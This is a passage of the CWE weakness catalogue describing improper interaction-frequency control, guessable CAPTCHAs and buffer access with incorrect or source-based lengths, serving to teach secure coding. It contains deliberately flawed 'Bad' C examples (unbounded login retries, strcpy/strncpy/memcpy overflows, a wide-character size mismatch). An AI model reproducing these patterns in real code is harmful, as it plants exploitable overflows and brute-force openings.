[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-729]Johannes Ullrich. "Top 25 Series - Rank 11 - Hardcoded Credentials". 2010 March 0. SANS Software Security Institute. < <https://www.sans.org/blog/top-25-series-rank-11-hardcoded-credentials/> >.2023-04-07.

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list> >.2023-04-07.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

[REF-1288]Julia Lokrantz. "Ethical hacking of a Smart Automatic Feed Dispenser". 2021 June 7. < <http://kth.diva-portal.org/smash/get/diva2:1561552/FULLTEXT01.pdf> >.

[REF-1304]ICS-CERT. "ICS Alert (ICS-ALERT-13-164-01): Medical Devices Hard-Coded Passwords". 2013 June 3. < <https://www.cisa.gov/news-events/ics-alerts/ics-alert-13-164-01> >.2023-04-07.

CWE-799: Improper Control of Interaction Frequency

Weakness ID : 799

Structure : Simple

Abstraction : Class

Description

The product does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.

Extended Description

This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1525
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	754
ParentOf	B	837	Improper Enforcement of a Single, Unique Action	1771

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Alternate Terms

Insufficient anti-automation : The term "insufficient anti-automation" focuses primarily on non-human actors such as viruses or bots, but the scope of this CWE entry is broader.

Brute force : Vulnerabilities that can be targeted using brute force attacks are often symptomatic of this weakness.

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)	
Access Control	Bypass Protection Mechanism	
Other	Other	

Demonstrative Examples

Example 1:

In the following code a username and password is read from a socket and an attempt is made to authenticate the username and password. The code will continuously checked the socket for a username and password until it has been authenticated.

Example Language: C (Bad)

```
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];
while (isValidUser == 0) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
}
return(SUCCESS);
```

This code does not place any restriction on the number of authentication attempts made. There should be a limit on the number of authentication attempts made to prevent brute force attacks as in the following example code.

Example Language: C (Good)

```
int count = 0;
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
    count++;
}
if (isValidUser) {
    return(SUCCESS);
}
else {
    return(FAIL);
}
```

Observed Examples

Reference	Description
CVE-2002-1876	Mail server allows attackers to prevent other users from accessing mail by sending large number of rapid requests. https://www.cve.org/CVERecord?id=CVE-2002-1876

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2376

Nature	Type	ID	Name	V	Page
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	21		Insufficient Anti-Automation

References

[REF-731]Web Application Security Consortium. "Insufficient Anti-automation". < <http://projects.webappsec.org/Insufficient+Anti-automation> >.

CWE-804: Guessable CAPTCHA

Weakness ID : 804

Structure : Simple

Abstraction : Base

Description

The product uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.

Extended Description

An automated attacker could bypass the intended protection of the CAPTCHA challenge and perform actions at a higher frequency than humanly possible, such as launching spam attacks.

There can be several different causes of a guessable CAPTCHA:

- An audio or visual image that does not have sufficient distortion from the unobfuscated source image.
- A question is generated with a format that can be automatically recognized, such as a math question.
- A question for which the number of possible answers is limited, such as birth years or favorite sports teams.
- A general-knowledge or trivia question for which the answer can be accessed using a data base, such as country capitals or popular entertainers.
- Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1390	Weak Authentication	2279
ChildOf	C	863	Incorrect Authorization	1796
CanFollow	C	330	Use of Insufficiently Random Values	821

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1211	Authentication Errors	2496

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Technology : Web Server (*Prevalence = Sometimes*)

Common Consequences




Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	
<p><i>When authorization, authentication, or another protection mechanism relies on CAPTCHA entities to ensure that only human actors can access certain functionality, then an automated attacker such as a bot may access the restricted functionality by guessing the CAPTCHA.</i></p>		

Observed Examples

Reference	Description
CVE-2022-4036	Chain: appointment booking app uses a weak hash (CWE-328) for generating a CAPTCHA, making it guessable (CWE-804) https://www.cve.org/CVERecord?id=CVE-2022-4036

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		808	2010 Top 25 - Weaknesses On the Cusp	800	2376
MemberOf		1396	Comprehensive Categorization: Access Control	1400	2540

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	21		Insufficient Anti-Automation

References

[REF-731]Web Application Security Consortium. "Insufficient Anti-automation". < <http://projects.webappsec.org/Insufficient+Anti-automation> >.

CWE-805: Buffer Access with Incorrect Length Value

Weakness ID : 805

Structure : Simple

Abstraction : Base

Description

The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.




Extended Description

When the length value exceeds the size of the destination, a buffer overflow could occur.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299
ParentOf		806	Buffer Access Using Size of Source Buffer	1719
CanFollow		130	Improper Handling of Length Parameter Inconsistency	357


Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1218	Memory Buffer Errors	2500

Weakness Ordinalities

Resultant :

Primary :

Applicable Platforms

Language : C (Prevalence = Often)

Language : C++ (Prevalence = Often)

Language : Assembly (Prevalence = Undetermined)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Read Memory	
Confidentiality	Modify Memory	
Availability	Execute Unauthorized Code or Commands	
	<i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.</i>	
Availability	Modify Memory	
	DoS: Crash, Exit, or Restart	
	DoS: Resource Consumption (CPU)	

Scope	Impact	Likelihood
	<i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness = Defense in Depth

These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333].

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the product or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(Bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C

(Bad)

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

In the following example, the source character string is copied to the dest character string using the method strncpy.

Example Language: C

(Bad)

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

Example Language: C

(Good)

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

Example 4:

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

Example Language: C

(Bad)

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, `strncpy`, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, `buf`. This can lead to a buffer overflow if the number of characters contained in character string pointed to by `filename` is larger than the number of characters allowed for the local character string. The string copy method should use the `buf` character string within a `sizeof` call to ensure that only characters up to the size of the `buf` array are copied to avoid a buffer overflow, as shown below.

Example Language: C

(Good)

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

Example 5:

Windows provides the `MultiByteToWideChar()`, `WideCharToMultiByte()`, `UnicodeToBytes()`, and `BytesToUnicode()` functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

Example Language: C

(Bad)

```
void getUserInfo(char *username, struct _USER_INFO_2 info){
    WCHAR unicodeUser[UNLEN+1];
    MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));
    NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
}
```

This function incorrectly passes the size of `unicodeUser` in bytes instead of characters. The call to `MultiByteToWideChar()` can therefore write up to $(UNLEN+1) * \text{sizeof}(WCHAR)$ wide characters, or $(UNLEN+1) * \text{sizeof}(WCHAR) * \text{sizeof}(WCHAR)$ bytes, to the `unicodeUser` array, which has only $(UNLEN+1) * \text{sizeof}(WCHAR)$ bytes allocated.

If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.

Observed Examples









Reference	Description
CVE-2011-1959	Chain: large length value causes buffer over-read (CWE-126) https://www.cve.org/CVERecord?id=CVE-2011-1959
CVE-2011-1848	Use of packet length field to make a calculation, then copy into a fixed-size buffer https://www.cve.org/CVERecord?id=CVE-2011-1848
CVE-2011-0105	Chain: retrieval of length value from an uninitialized memory location https://www.cve.org/CVERecord?id=CVE-2011-0105
CVE-2011-0606	Crafted length value in document reader leads to buffer overflow https://www.cve.org/CVERecord?id=CVE-2011-0606
CVE-2011-0651	SSL server overflow when the sum of multiple length fields exceeds a given value https://www.cve.org/CVERecord?id=CVE-2011-0651
CVE-2010-4156	Language interpreter API function doesn't validate length argument, leading to information exposure https://www.cve.org/CVERecord?id=CVE-2010-4156

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	2365
MemberOf		802	2010 Top 25 - Risky Resource Management	800	2375
MemberOf		867	2011 Top 25 - Weaknesses On the Cusp	900	2393
MemberOf		874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	2396
MemberOf		884	CWE Cross-section	884	2588
MemberOf		1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2478
MemberOf		1399	Comprehensive Categorization: Memory Safety	1400	2546

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
100	Overflow Buffers
256	SOAP Array Overflow

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

- [REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista >.2023-04-07.
- [REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < <https://archive.is/saAFo> >.2023-04-07.
- [REF-60]"PaX". < https://en.wikipedia.org/wiki/Executable_space_protection#PaX >.2023-04-07.
- [REF-741]Jason Lam. "Top 25 Series - Rank 12 - Buffer Access with Incorrect Length Value". 2010 March 1. SANS Software Security Institute. < <https://web.archive.org/web/20100316043717/http://blogs.sans.org:80/appsecstreetfighter/2010/03/11/top-25-series-rank-12-buffer-access-with-incorrect-length-value/> >.2023-04-07.
- [REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html> >.2023-04-07.
- [REF-56]Microsoft. "Using the Strsafe.h Functions". < <https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN> >.2023-04-07.
- [REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/> >.2023-04-07.
- [REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscrt/bsi/articles/knowledge/principles/least-privilege> >.2023-04-07.
- [REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < <https://www.redhat.com/en/blog/position-independent-executables-pie> >.2023-04-07.
- [REF-1332]John Richard Moser. "Prelink and address space randomization". 2006 July 5. < <https://lwn.net/Articles/190139/> >.2023-04-26.
- [REF-1333]Dmitry Evtushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. < <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf> >.2023-04-26.
- [REF-1334]D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. < <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/> >.2023-04-26.
- [REF-1335]D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. < <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/> >.2023-04-26.
- [REF-1336]D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. < <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/> >.2023-04-26.
- [REF-1337]Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". 2008. < https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf >.2023-04-26.

CWE-806: Buffer Access Using Size of Source Buffer

Weakness ID : 806

Structure : Simple

Abstraction : Variant

Description

The product uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.


Extended Description

When the size of the destination is smaller than the size of the source, a buffer overflow could occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		805	Buffer Access with Incorrect Length Value	1711

Weakness Ordinalities

Resultant :

Primary :

Applicable Platforms

Language : C (Prevalence = Sometimes)

Language : C++ (Prevalence = Sometimes)

Common Consequences

Scope	Impact	Likelihood
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) <i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	
Integrity Confidentiality Availability	Read Memory Modify Memory Execute Unauthorized Code or Commands <i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.</i>	
Access Control	Bypass Protection Mechanism <i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i>	

Potential Mitigations

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Examples include the Safe C String Library (SafeStr) by Viega, and the Strsafe.h library from Microsoft. This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Programmers should adhere to the following rules when allocating and managing their applications memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as `strncpy()`, be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if calling this function in a loop and make sure there is no danger of writing past the allocated space. Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Operation

Phase: Build and Compilation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness = Defense in Depth

These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333].

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Build and Compilation

Phase: Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Demonstrative Examples

Example 1:

In the following example, the source character string is copied to the dest character string using the method strncpy.

Example Language: C

(Bad)

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

Example Language: C

(Good)

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

Example 2:

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

Example Language: C

(Bad)

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger than the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

Example Language: C

(Good)

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1399	Comprehensive Categorization: Memory Safety	1400	2546

References

- [REF-56]Microsoft. "Using the Strsafe.h Functions". < <https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN> >.2023-04-07.
- [REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html> >.2023-04-07.
